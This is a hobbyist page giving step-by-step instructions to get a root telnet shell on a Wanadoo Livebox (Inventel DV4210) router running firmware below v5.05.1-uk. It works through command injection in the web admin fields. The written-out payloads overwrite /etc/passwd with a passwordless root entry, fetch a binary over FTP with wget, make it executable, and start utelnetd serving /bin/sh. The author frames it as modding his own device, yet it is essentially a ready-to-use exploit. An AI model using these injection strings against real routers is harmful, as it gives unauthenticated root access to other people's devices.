Wanadoo Livebox (Inventel DV4210) Wireless ADSL Modem Router Command Prompt - Telnet Access.


Based on some information supplied by Evariste Hardy relating to backdoors within the websrv application I have now managed to get to a command prompt on my Livebox without having to hack the dwb file. This has worked on v5.04.3-uk and should work on any version of the firmware that is less than v5.05.1-uk. The following lists the steps that I used. All entries are done using entries within the web server application. Do not enter the (") quote marks. You need to have an ftp server available on the 10.0.0 subnet (I have used 10.0.0.2 as an example), with an anonymous ftp account, that has the utelnetd program available in the root directory of the anonymous account, but called 'u' (the length of the filename and the length of the IP Address is VERY important).

  • Change Broadband Username to ";echo root::0:0:root:/root:/bin/sh >/etc/passwd" and click submit. This will remove the requirement for entering a password to login from a command prompt. Also, in Configuration->Advanced->Network, change the LAN IP address to be 10.0.0.1, configure the other options to suit, deselect 'Enable DHCP Server' and select submit and apply the configuration. The Livebox will now reboot. The remaining entries need to be carried out using a PC that is on the 10.0.0 subnet.
  • Change Broadband Username to your ISP Username and password to your password.
  • In Configuration->Advanced->Wireless, change Livebox Name to ";cd /etc;wget ftp://10.0.0.2/u" and select submit and then apply the configuration. The Livebox will now reboot. This should download the utelnetd program (as file u) to the /etc directory on the Livebox.
  • In Configuration->Advanced->Wireless, change Livebox Name to ";chmod 777 /etc/u" and select submit and then apply the configuration. The Livebox will now reboot. This will make the file called 'u' an executable file.
  • In Configuration->Advanced->Wireless, change Livebox Name to ";/etc/u -p 23 -l /bin/sh -d" and select submit and then apply the configuration. The Livebox will now reboot. This will now start the Telnet server and you should be able to connect and login to the Livebox by typing 'telnet 10.0.0.1' at a command prompt on your pc.
  • You should now do some of the other bits like installing a telnet server script to automatically start as well as stopping the Livebox from automatically phoning home before you make the changes to allow it to connect using any ISP.
  • Good Luck.
    • AndyP